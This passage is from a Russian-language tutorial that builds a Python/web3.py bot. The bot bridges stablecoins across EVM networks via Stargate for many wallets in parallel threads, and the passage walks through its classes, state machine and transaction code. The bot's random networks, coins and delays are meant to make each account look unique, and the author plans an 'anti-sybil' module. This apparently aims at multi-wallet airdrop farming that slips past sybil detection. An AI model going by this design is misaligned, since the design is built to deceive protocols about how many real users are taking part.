    <li id="DHy8">Запускаем:</li>
  </ul>
  <pre id="GjfC">python3 main.py</pre>
  <hr />
  <h2 id="Poz4">2. База</h2>
  <p id="R2ln">Перед тем как непосредственно перейти к написанию скрипта, следует поверхностно разобрать технологический стек, который мы будем использовать.</p>
  <h3 id="N14q">   2.1 Python</h3>
  <p id="P5Hn"><strong>Python</strong> - язык общего назначения, который идеально подходит для решения задач автоматизации благодаря следующим преимуществам:</p>
  <ul id="U05z">
    <li id="RFL0">Простота. Код на Python писать быстро и приятно, в нем нет слишком заумных концепций, вследствие чего язык является одним из наиболее дружелюбных к новичкам</li>
    <li id="OrME">Большое сообщество. Благодаря этому существует невероятное множество готовых библиотек, которые помогают в решении различных задач</li>
  </ul>
  <p id="lyBP">В этой статье я не буду объяснять основы программирования на Python, так как уже существуют материалы, которые это сделают гораздо лучше меня. На мне лежит миссия познакомить вас с ними: </p>
  <ul id="XnJK">
    <li id="zJJH"><a href="https://stepik.org/course/58852" target="_blank">Python для начинающих</a></li>
    <li id="URAN"><a href="https://stepik.org/course/68343/" target="_blank">Python для продвинутых</a></li>
    <li id="xfSM"><a href="https://stepik.org/course/114354/" target="_blank">ООП на Python</a></li>
  </ul>
  <p id="jaZ3">Если с английским все хорошо - настоятельно рекомендую пройти курс от Мичиганского университета:</p>
  <ul id="OcBP">
    <li id="PeEy"><a href="https://www.coursera.org/specializations/python" target="_blank">Python for Everybody</a></li>
  </ul>
  <blockquote id="kJbq">Этому этапу я советую уделить достаточно времени. Теория в чистом виде бесполезна, поэтому постарайтесь прорешать как можно больше практических задач. Чем крепче у вас будут базовые знания, тем легче будет в дальнейшем.</blockquote>
  <p id="IKCO"></p>
  <h3 id="M0hP">   2.2 Blockchain</h3>
  <p id="oAA2">Скрипт будем писать под EVM сети, что значительно облегчит нам работу и позволит без особых сложностей сделать единый интерфейс для них.</p>
  <p id="qdiZ">С данной темой, я думаю, проблем не возникнет, так как средний криптан уже понимает как на высоком уровне работает блокчейн, смарт-контракты и для чего нужны ноды, но если вы хотите узнать больше, рекомендую отличный курс от <a href="http://mixbytes.io/" target="_blank">MixBytes</a> (топ контора, которая занимается аудитом смарт-контрактов):</p>
  <ul id="bC1R">
    <li id="bCIX"><a href="https://www.youtube.com/playlist?list=PLSBw6uuHTfHX0uhomM9IRGMZIDCewDfxc" target="_blank">Блокчейн, смарт-контракты и децентрализованные приложения</a></li>
  </ul>
  <hr />
  <h2 id="cDcp">3. Основная часть</h2>
  <p id="OINB">В этой части мы сначала подробно разберем архитектуру и все составляющие будущего софта, а затем разберем каждый элемент подробно.</p>
  <h3 id="InGV">   3.1 Архитектура сетей</h3>
  <p id="zmN7">Для начала определим базовые классы для взаимодействия с сетями.</p>
  <figure id="P3HX" class="m_column">
    <img src="https://img1.teletype.in/files/06/96/0696b82f-0b89-46e3-9c23-d04fa288f0e5.png" width="2444" />
    <figcaption>Архитектура сетей</figcaption>
  </figure>
  <p id="EIIT">Класс <strong>Network</strong>, базовый для всех сетей, будет включать в себя методы и параметры, присущие этим сетям. Его мы вводим для того, чтобы в будущем расширять функционал для non-EVM сетей (если будет в этом необходимость).</p>
  <p id="PoKG"><strong>EVMNetwork</strong> же наследуется от базового и определяет весь функционал, который нам будет нужен для взаимодействия с EVM сетями. Он будет выступать базовым для конкретных сетей - Ethereum, Arbitrum, Optimism etc.</p>
  <p id="zOPX">Рассмотрим методы этого класса в двух словах:</p>
  <ul id="897k">
    <li id="6cDu"><strong>approve_token_usage</strong> - взаимодействие с ERC-20 контрактом, которое разрешает spender-у тратить amount токенов с нашего кошелька</li>
    <li id="b5up"><strong>estimate_layerzero_swap_fee</strong> - взаимодействие с контрактом StargateRouter, которое считает необходимую комиссию для LayerZero</li>
    <li id="OndK"><strong>get_balance</strong> - получение баланса нативного токена (ETH, MATIC, AVAX etc.)</li>
    <li id="ewqs"><strong>get_current_gas</strong> - получение текущего газа сети</li>
    <li id="iAE7"><strong>get_nonce</strong> - получение текущего значения nonce параметра кошелька</li>
    <li id="KjF2"><strong>get_token_allowance</strong> - взаимодействие с ERC-20 контрактом для получения количества токенов, которое уже разрешено потратить spender-у</li>
    <li id="k4xk"><strong>get_token_balance</strong> - взаимодействие с ERC-20 контрактом для получения баланса токенов на адресе</li>
    <li id="O8Tv"><strong>make_stargate_swap</strong> - взаимодействие с StargateRouter-ом, которое и будет бриджить токены</li>
  </ul>
  <p id="abO1"><strong>BalanceHelper</strong> - utility класс, который сделает взаимодействие с балансами чуть более удобным.</p>
  <p id="Aiul"></p>
  <h3 id="H246">   3.2 Логика</h3>
  <p id="jeKh">Определим, какого поведения мы хотим добиться для каждого аккаунта. Для этого выведем следующим пункты:</p>
  <ul id="348f">
    <li id="btDn">Каждый аккаунт работает отдельно, независимо от других со своими таймингами</li>
    <li id="rlCP">Если в аккаунте случается ошибка вроде нехватки баланса, фейла транзакции и т.п. - он продолжает работу, никак не влияет на другие и со временем возвращается в строй (после пополнения баланса или повторного выполнения транзакции) </li>
  </ul>
  <p id="2TE0">Очередность действий, которой следует каждый аккаунт:</p>
  <ol id="3l7l">
    <li id="QS8D">Проверка баланса стейблкоинов на всех поддерживаемых сетях</li>
    <li id="KdBT">Выбор случайной сети с балансом</li>
    <li id="yHRg">Выбор случайной сети назначения (куда будет бриджиться токен)</li>
    <li id="QjnV">Бридж токена через Stargate</li>
    <li id="CmpH">Переход к пункту 1</li>
  </ol>
  <p id="l0fd">И это все, разумеется, должно быть приправлено случайными перерывами между действиями для создания уникального аккаунта.</p>
  <p id="HPT9">Для реализации вышеописанного идеально подходит <a href="https://auth0.com/blog/state-pattern-in-python/" target="_blank">паттерн Состояние</a>, с помощью которого мы выделим каждый шаг в отдельный State и в нем будем обрабатывать все необходимые действия. </p>
  <p id="HXXz">Диаграмма последовательности этих состояний будет выглядеть как-то так:</p>
  <figure id="XIsD" class="m_retina">
    <img src="https://img4.teletype.in/files/7b/70/7b70f680-c71b-43b7-a570-563e0eaff3c4.png" width="1312" />
    <figcaption>Диаграмма состояний</figcaption>
  </figure>
  <p id="el9W">Рассмотрим диаграмму классов подробнее:</p>
  <figure id="xFUv" class="m_original">
    <img src="https://img4.teletype.in/files/38/cc/38cc282c-3bec-46bd-9c4f-5f4276ce4911.png" width="3726" />
    <figcaption>Диаграмма классов</figcaption>
  </figure>
  <p id="bYBi"><strong>State</strong> - базовый класс, который декларирует метод handle для обработки состояния. От него наследуются произвольные состояния:</p>
  <ul id="t6sg">
    <li id="m5na"><strong>CheckStablecoinBalanceState</strong> - одно из первых состояний, которое отвечает за проверку баланса стейблкоинов на кошельке</li>
    <li id="30nZ"><strong>ChooseDestinationNetworkState</strong> - выбор сети назначения, куда будут бриджиться токены</li>
    <li id="X7h9"><strong>ChooseDestinationStablecoinState</strong> - выбор случайного стейблкоина, который поддерживается сетью назначения</li>
    <li id="pPgq"><strong>CheckNativeTokenBalanceForGasState</strong> - проверка достаточности баланса нативного токена для оплаты комиссий</li>
    <li id="bkCE"><strong>RefuelDecisionState</strong> - решение, которое принимается в случае нехватки баланса для оплаты комиссий. В текущей имплементации поддерживается только ручное пополнение, но может быть без особых проблем расширено до вывода с биржи, или refuel-а через какой-либо смарт-контракт</li>
    <li id="owqR"><strong>WaitForManualRefuelState</strong> - ожидание ручного пополнения пользователем</li>
    <li id="YD90"><strong>StargateSwapState</strong> - бридж токена в сеть назначения через Stargate</li>
  </ul>
  <p id="7e8a"></p>
  <p id="3kCi">Также на диаграмме классов можем видеть некий <strong>AccountThread</strong>. Прежде всего, для понимания, следует объяснить что такое потоки в операционной системе и чем они отличаются от процессов:</p>
  <ul id="qt88">
    <li id="ozwZ"><strong>Поток</strong> - это последовательность инструкций или операций, выполняющихся внутри программы или системы. Он представляет собой некоторую независимую единицу работы, которая может быть исполнена параллельно с другими потоками. </li>
    <li id="QRRi"><strong>Процесс</strong> - это экземпляр программы, выполняющейся в операционной системе, и может включать в себя один или несколько потоков. Процессы имеют отдельные адресные пространства, ресурсы и контекст выполнения, в то время как потоки могут разделять эти ресурсы и работать в рамках одного процесса.</li>
  </ul>
  <p id="oKLn">Грубо говоря, потоки - более легковесная версия процессов. Они обычно используют общие ресурсы и адресное пространство процесса, что позволяет им выполняться более эффективно и экономить системные ресурсы по сравнению с созданием отдельных процессов. Кроме того, переключение между потоками происходит быстрее, чем между процессами, так как оно не требует полного контекстного переключения.</p>
  <p id="LR06">Потоки в нашем случае являются идеальным инструментом для выделения логики аккаунта в отдельную сущность. Это позволит обрабатывать каждый аккаунт параллельно и независимо от других. Для этих целей и служит класс <strong>AccountThread</strong>.</p>
  <p id="rFIc"></p>
  <h3 id="cfVp">   3.3 Взаимодействие со смарт-контрактами</h3>
  <p id="e6Uh">Теперь подробно разберем детали реализации. Начнем с темы взаимодействия со смарт-контрактами и рассмотрим, каким образом это можно осуществлять из Python кода.</p>
  <p id="CE5B">Основной библиотекой, которая поможет в этом нелегком на первый взгляд деле, будет <a href="https://github.com/ethereum/web3.py" target="_blank"><strong>web3.py</strong></a>. Она реализует огромное количество функционала для взаимодействия с блокчейном. Советую заглянуть в <a href="https://web3py.readthedocs.io/en/stable/" target="_blank">документацию</a>, где можно найти немало наглядных примеров и улучшить свое понимание.</p>
  <p id="2H3Q">Главная сущность, с которой мы будем работать - <strong>Web3</strong>. </p>
  <p id="0BTf"><strong>Web3</strong> предоставляет мощный набор функций для взаимодействия с EVM блокчейнами. Вот некоторые из основных функций, которые можно выполнять с помощью данного класса:</p>
  <ul id="Vov6">
    <li id="0wi1">Подключение к ноде: Web3 позволяет установить соединение с удаленной или локальной нодой блокчейна</li>
    <li id="J7Mq">Работа с аккаунтами: Возможность создавать новые аккаунты, получать балансы и отправлять токены с одного аккаунта на другой</li>
    <li id="pjHP">Взаимодействие с контрактами: Web3 позволяет взаимодействовать с существующими смарт-контрактами, вызывая их функции, получая данные и отправляя транзакции</li>
    <li id="Y15I">Получение информации о блоках и транзакциях: Возможность получать данные о текущем состоянии блокчейна, получать информацию о блоках, транзакциях и других важных сущностях</li>
    <li id="3Naw">Работа с событиями: Web3 позволяет отслеживать события, происходящие в смарт-контрактах, и реагировать на них</li>
  </ul>
  <p id="irMY">Для того, чтобы инстанцировать этот класс необходимо обернуть RPC в <strong>HTTPProvider</strong>. Рассмотрим на примере бесплатного Ethereum RPC от Ankr:</p>
  <pre id="t2il" data-lang="python">rpc = &quot;https://rpc.ankr.com/eth&quot;
w3 = Web3(HTTPProvider(rpc))</pre>
  <p id="TiSp">Теперь у нас есть мега-инструмент для взаимодействия с блокчейном, который мы в дальнейшем будем многократно использовать.</p>
  <p id="nM38"></p>
  <h3 id="u6g5">      3.3.1 Проверка баланса нативного токена</h3>
  <p id="lavW">Напомню, что все методы определены в классе EVMNetwork и будут рассматриваться с учетом этого. Первым делом взглянем на то, как можно получить баланс нативного токена:</p>
  <pre id="i4fi" data-lang="python">def get_balance(self, address: str) -&amp;gt; int:    
    return self.w3.eth.get_balance(Web3.to_checksum_address(address))</pre>
  <p id="Rn33">С помощью такого нехитрого метода мы получим целочисленный результат, который и будет балансом кошелька в <a href="https://www.investopedia.com/terms/w/wei.asp" target="_blank">Wei</a>. Для того, чтобы привести результат к привычному нам виду, следует разделить это значение на 10^18.</p>
  <pre id="GBbg" data-lang="python">eth_balance = ethereum.get_balance(&quot;0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045&quot;)
print(eth_balance / 10 ** 18)</pre>
  <p id="9lpN"></p>
  <h3 id="XkXd">      3.3.2 Проверка баланса ERC-20 токена</h3>
  <p id="CD4Z">Немного более сложная операция, так как требует взаимодействия с view методом смарт-контракта. View метод не делает никаких записей в storage блокчейна, поэтому его вызов бесплатный извне и не требует никаких транзакций. Для начала, взглянем как можно вызвать этот метод из <a href="https://etherscan.io/" target="_blank">Etherscan</a> на примере токена USDT, а после этого реализуем то же самое в коде.</p>
  <p id="gcRW">Переходим на <a href="https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#readContract" target="_blank">страницу смарт-контракта USDT</a> и заходим в <strong>Contract -&amp;gt; Read Contract</strong> . Здесь ищем функцию <strong>balanceOf</strong>, вписываем желаемый адрес и делаем запрос:</p>
  <figure id="dkqu" class="m_column">
    <img src="https://img2.teletype.in/files/94/01/94012dc5-a0ca-4361-9dbd-a79d871a8db7.png" width="1428" />
    <figcaption>Вызов balanceOf</figcaption>
  </figure>
  <p id="pTZA">Как мы видим, ничего сложного. Etherscan в данном случае выступает прослойкой между нами и блокчейном, но под капотом он так же отправляет запрос к ноде и возвращает нам результат.</p>
  <p id="YrXq">Чтобы превратить вышеописанное в Python код введем понятие ABI:</p>
  <p id="2AZ3"><strong>ABI (Application Binary Interface)</strong> смарт-контракта - это набор спецификаций, описывающих методы и структуру данных, используемых в смарт-контракте. ABI определяет, как взаимодействовать с контрактом, какие функции и события он поддерживает, а также формат и порядок аргументов и возвращаемых значений.</p>
  <p id="lkpX">Для работы с ERC-20 контрактом в коде, обязательно нужно предоставить ABI, которое можно найти как на том же Etherscan в разделе <strong>Contract</strong>, так и на сторонних ресурсах, например <a href="https://gist.github.com/veox/8800debbf56e24718f9f483e1e40c35c" target="_blank">тут</a>.</p>
  <p id="YzIb">Теперь мы готовы и можем взглянуть на метод для проверки баланса токенов:</p>
  <pre id="sOKx" data-lang="python">def get_token_balance(self, contract_address: str, address: str) -&amp;gt; int:
    contract = self.w3.eth.contract(address=Web3.to_checksum_address(contract_address), abi=ERC20_ABI)    
    return contract.functions.balanceOf(Web3.to_checksum_address(address)).call()</pre>
  <p id="mxCF">Создав объект типа <strong>Contract</strong>, остается лишь вызвать тот самый метод <strong>balanceOf</strong> и получить желаемый результат.</p>
  <p id="bqYO"></p>
  <h3 id="q2qN">      3.3.3 Approve ERC-20 токена</h3>
  <p id="D82j">Метод <strong>approve</strong> дает разрешение адресу <u>spender</u> потратить некий <u>amount</u> ваших токенов. Например, можно разрешить мосту бриджить ваши токены, либо Uniswap-у обменивать их. В отличие от <strong>balanceOf</strong>, <strong>approve</strong> изменяет state блокчейна, поэтому для него требуется подписать и отправить транзакцию ноде. Предварительно можно поиграться в Etherscan-е в разделе <strong>Contract -&amp;gt; Write Contract</strong>. Мы же рассмотрим подробнее как это делается в коде:</p>
  <pre id="2N0T" data-lang="python">def approve_token_usage(self, private_key: str, contract_address: str, spender: str, amount: int) -&amp;gt; bool:
    account = self.w3.eth.account.from_key(private_key)
    contract = self.w3.eth.contract(address=Web3.to_checksum_address(contract_address), abi=ERC20_ABI)
    
    tx = contract.functions.approve(spender, amount).build_transaction({       
      &#x27;from&#x27;: account.address,
      &#x27;gas&#x27;: self._get_approve_gas_limit(),
      &#x27;gasPrice&#x27;: int(self.get_current_gas()),
      &#x27;nonce&#x27;: self.get_nonce(account.address)})
      
    signed_tx = self.w3.eth.account.sign_transaction(tx, private_key)
    tx_hash = self.w3.eth.send_raw_transaction(signed_tx.rawTransaction) 
       
    try:        
        receipt = self.w3.eth.wait_for_transaction_receipt(tx_hash)
    except web3.exceptions.TimeExhausted:
        print(&#x27;Approve tx waiting time exceeded&#x27;)
        return False
    return True</pre>
  <p id="zmGZ">Сначала нужно сделать build транзакции с понятными дополнительными параметрами, после чего транзакция подписывается приватным ключом и отправляется в блокчейн. Ожидаем пока ее включат в блок и возвращаем результат выполнения функции.</p>
  <p id="wIAq"></p>
  <h3 id="QISi">      3.3.4 Stargate swap</h3>
  <p id="B3HY">Переходим к самому интересному, а именно - к взаимодействию со Stargate-ом. Первое что мы должны сделать - разумеется, заглянуть в <a href="https://stargateprotocol.gitbook.io/stargate/" target="_blank">документацию</a>. В разделе <strong>How to Swap</strong> можно видеть всю необходимую для бриджа информацию: какой смарт-контракт нужно использовать, какой метод из этого контракта отвечает за <strong>swap</strong>, какие параметры он принимает и т.д.</p>
  <p id="B9yp">Из этого же раздела, мы понимаем, что перед самим <strong>swap</strong>-ом, нужно подсчитать необходимую комиссию для LayerZero, которая будет отправлена на контракт в нативной монете сети. Загрузим ABI StargateRouter-а и реализуем функцию подсчета следующим образом:</p>
  <pre id="nTwf" data-lang="python">def estimate_layerzero_swap_fee(self, dst_chain_id: int, dst_address: str) -&amp;gt; int:
    contract = self.w3.eth.contract(
        address=Web3.to_checksum_address(self.stargate_router_address),
        abi=STARGATE_ROUTER_ABI)
          
    quote_data = contract.functions.quoteLayerZeroFee(
        dst_chain_id,  # destination chainId        
        1,  # function type (1 - swap)
        dst_address,  # destination of tokens
        &quot;0x&quot;,  # payload, using abi.encode()
        [0,  # extra gas, if calling smart contract
        0,  # amount of dust dropped in destination wallet
        &quot;0x&quot;  # destination wallet for dust
        ]).call()    
    
    return quote_data[0]</pre>
  <p id="2Uck">Вызов view метода контракта, аналогичный получению баланса ERC-20 токена. </p>
  <p id="vnyR"><a href="https://stargateprotocol.gitbook.io/stargate/developers/chain-ids" target="_blank">Идентификаторы сетей</a>, <a href="https://stargateprotocol.gitbook.io/stargate/developers/pool-ids" target="_blank">пулов</a> и <a href="https://stargateprotocol.gitbook.io/stargate/developers/contract-addresses/mainnet" target="_blank">адреса контрактов</a> можно найти в той же документации, никаких секретов здесь нет.</p>
  <p id="96fR">Что же из себя представляет <strong>swap</strong>? Давайте посмотрим:</p>
  <pre id="HcpU" data-lang="python">def make_stargate_swap(self, private_key: str, dst_chain_id: int, src_pool_id: int, dst_pool_id: int, amount: int, min_received_amount: int) -&amp;gt; bool:
    account = self.w3.eth.account.from_key(private_key)
    contract = self.w3.eth.contract(
        address=Web3.to_checksum_address(self.stargate_router_address),
        abi=STARGATE_ROUTER_ABI)
    
    layerzero_fee = self.estimate_layerzero_swap_fee(dst_chain_id, account.address)
    nonce = self.get_nonce(account.address)
    gas_price = self.get_current_gas()
    
    tx = contract.functions.swap(
        dst_chain_id,  # destination chainId
        src_pool_id,  # source poolId
        dst_pool_id,  # destination poolId
        account.address,  # refund address. extra gas (if any) is returned to this address
        amount,  # quantity to swap
        min_received_amount,  # the min qty you would accept on the destination
        [0,  # extra gas, if calling smart contract
        0,  # amount of dust dropped in destination wallet
        &quot;0x&quot;  # destination wallet for dust
        ],
        account.address,  # the address to send the tokens to on the destination
        &quot;0x&quot;,  # &quot;fee&quot; is the native gas to pay for the cross chain message fee
        ).build_transaction({
            &#x27;from&#x27;: account.address,
            &#x27;value&#x27;: layerzero_fee,
            &#x27;gas&#x27;: StargateConstants.SWAP_GAS_LIMIT[self.name],
            &#x27;gasPrice&#x27;: gas_price,
            &#x27;nonce&#x27;: nonce
        })
        
    signed_tx = self.w3.eth.account.sign_transaction(tx, private_key)
    tx_hash = self.w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    print(f&#x27;Hash: {tx_hash.hex()}&#x27;)
        
    try:
        receipt = self.w3.eth.wait_for_transaction_receipt(tx_hash)
    except web3.exceptions.TimeExhausted:
        print(&#x27;Bridge tx waiting time exceeded&#x27;)
        return False
    return True</pre>
  <p id="fV2z">Считаем необходимую комиссию для LayerZero, формируем транзакцию, подписываем, ждем. Все невероятно просто.</p>
  <p id="cRUk"></p>
  <h3 id="hDtl">   3.4 Реализация сетей</h3>
  <p id="n2jz">Благодаря хорошо продуманной архитектуре, реализация конкретной сети умещается в ~10 строк, остается лишь определить константы:</p>
  <pre id="HFCI" data-lang="python">class Ethereum(EVMNetwork):
    def __init__(self):
        supported_stablecoins = {
            &#x27;USDT&#x27;: Stablecoin(&#x27;USDT&#x27;, EthereumConstants.USDT_CONTRACT_ADDRESS, EthereumConstants.USDT_DECIMALS,
                               EthereumConstants.STARGATE_CHAIN_ID, StargateConstants.POOLS[&#x27;USDT&#x27;]),
            &#x27;USDC&#x27;: Stablecoin(&#x27;USDC&#x27;, EthereumConstants.USDC_CONTRACT_ADDRESS, EthereumConstants.USDC_DECIMALS,
                               EthereumConstants.STARGATE_CHAIN_ID, StargateConstants.POOLS[&#x27;USDC&#x27;])}
        
        super().__init__(EthereumConstants.NAME, EthereumConstants.NATIVE_TOKEN, EthereumConstants.RPC,
            EthereumConstants.STARGATE_CHAIN_ID, EthereumConstants.STARGATE_ROUTER_CONTRACT_ADDRESS,
            supported_stablecoins)</pre>
  <p id="TzEB">В <u>supported_stablecoins</u> добавляем стейблкоины, которые поддерживает Stargate на данной сети, и которые мы хотим использовать в будущем.</p>
  <p id="syUA">Другие сети добавляются аналогичным образом, думаю не стоит повторяться. </p>
  <p id="skKD"></p>
  <h3 id="iVJa">   3.5 AccountThread и состояния</h3>
  <p id="ZhaH">Наконец, реализуем класс, который отвечает за аккаунты и на паре примеров разберем состояния.</p>
  <pre id="zXVd" data-lang="python">class AccountThread(threading.Thread):
    def __init__(self, account_id: int, private_key: str):
        super().__init__()
        self.account_id = account_id
        self.account = Account.from_key(private_key)
        self.state = SleepBeforeStart()
        
    def run(self):
        while True:
            try:
                self.state.handle(self)
            except BaseError as ex:
                self.set_state(CheckStablecoinBalanceState())
            except requests.exceptions.HTTPError:
                self.set_state(CheckStablecoinBalanceState())
                time.sleep(TimeRanges.MINUTE)
                
    def set_state(self, state):
        self.state = state</pre>
  <p id="z76e">Унаследовав <strong>AccountThread</strong> от базового класса Thread, остается только определить действие при запуске потока. Тут в игру и входят состояния: устанавливаем <strong>SleepBeforeStart</strong> первым состоянием и дергаем &quot;магическую ручку&quot; <u>handle</u>, которая обработает каждое отдельное состояние и установит следующее. </p>
  <pre id="2A1o" data-lang="python"># First state
class SleepBeforeStart(State):
    def handle(self, thread):
        sleep_time = random.randint(SleepTimings.AFTER_START_RANGE[0], SleepTimings.AFTER_START_RANGE[1])
        time.sleep(sleep_time)
        thread.set_state(CheckStablecoinBalanceState())</pre>
  <pre id="0hiK" data-lang="python"># Last state
class StargateSwapState(State):
    def __init__(self, src_network: EVMNetwork, dst_network: EVMNetwork,
                 src_stablecoin: Stablecoin, dst_stablecoin: Stablecoin):
        self.src_network = src_network
        self.dst_network = dst_network
        self.src_stablecoin = src_stablecoin
        self.dst_stablecoin = dst_stablecoin
    
    def handle(self, thread):
        balance_helper = BalanceHelper(self.src_network, thread.account.address)
        amount = balance_helper.get_stablecoin_balance(self.src_stablecoin)
        
        bridge_helper = BridgeHelper(thread.account, balance_helper, self.src_network, self.dst_network,
                                     self.src_stablecoin, self.dst_stablecoin, amount, STARGATE_SLIPPAGE)
        bridge_helper.make_bridge()
        thread.set_state(CheckStablecoinBalanceState())</pre>
  <p id="TmDT">Существует еще большое количество состояний, но они все строятся по одному принципу и я не вижу смысла рассматривать каждое отдельно. </p>
  <p id="zgfm"></p>
  <h3 id="n6Yk">   3.6 Рандомизация</h3>
  <p id="eLBP">За счет чего же будет достигаться уникальность аккаунта? </p>
  <ul id="8Dzv">
    <li id="dehB">Случайный выбор сетей</li>
    <li id="whK2">Случайный выбор стейблкоинов</li>
    <li id="QShd">Случайная пауза перед началом работы (что также поможет снизить нагрузку на ноды и не попадать под Rate Limit)</li>
    <li id="WQmS">Случайная пауза перед бриджем</li>
  </ul>
  <p id="2KME">Для настройки временных диапазонов существует класс <strong>SleepTimings</strong> с config.py.</p>
  <p id="QrkI"></p>
  <p id="xQJI">Это и есть вся логика :)</p>
  <hr />
  <h2 id="79Mz">4. Финал</h2>
  <p id="mf0O">Надеюсь, что данная статья показалась вам интересной. Буду рад, если кого-то прочтение сподвигнет начать/продолжить изучать программирование, что в наше время является невероятно полезным скиллом. Если какой-то момент показался непонятным - советую заглянуть в исходный код и полазить по нему.</p>
  <p id="xb4z">Написанный за пару дней, в перерывах между основной деятельностью, скрипт, разумеется, можно улучшать еще во многих аспектах, но нужно ли? </p>
  <p id="i1yH">Целью статьи было предоставить базовое понимание о том, как такие скрипты пишутся, а для этой цели, мне кажется, текущий функционал вполне достаточен. Он выполняет конкретные полезные задачи автоматизации и при этом не перенасыщен логикой, что способствует пониманию реализации этой самой логики.</p>
  <p id="HaY4">Возможные улучшения:</p>
  <ul id="4YtO">
    <li id="4oy5">Auto-refuel с биржи/смарт-контракта</li>
    <li id="pdVs">Anti-sybil модуль для создания более &quot;живого&quot; кошелька (взаимодействие с децентрализованными протоколами)</li>
    <li id="TvYl">Добавление других мостов</li>
  </ul>
  <p id="gNzZ">Быть может, я допишу полный функционал и дропну в паблик, но уже без статьи, если на это будет спрос (и у меня желание этим заниматься). Ничего обещать не буду, но все возможно.</p>
  <p id="E8RL">Подписывайтесь на канал <a href="https://t.me/cppmyk_inc" target="_blank">cppmyk.inc</a>. Есть вероятность, что я не забью хуй на него и буду периодически туда что-то постить.</p>
  <blockquote id="8QTC">PS. Если вы нашли какой-то баг, или код не работает по неизвестной причине - пишите в <a href="https://t.me/dead_engineering" target="_blank">чат</a>, я постараюсь исправить.</blockquote>

]]></content:encoded></item></channel></rss>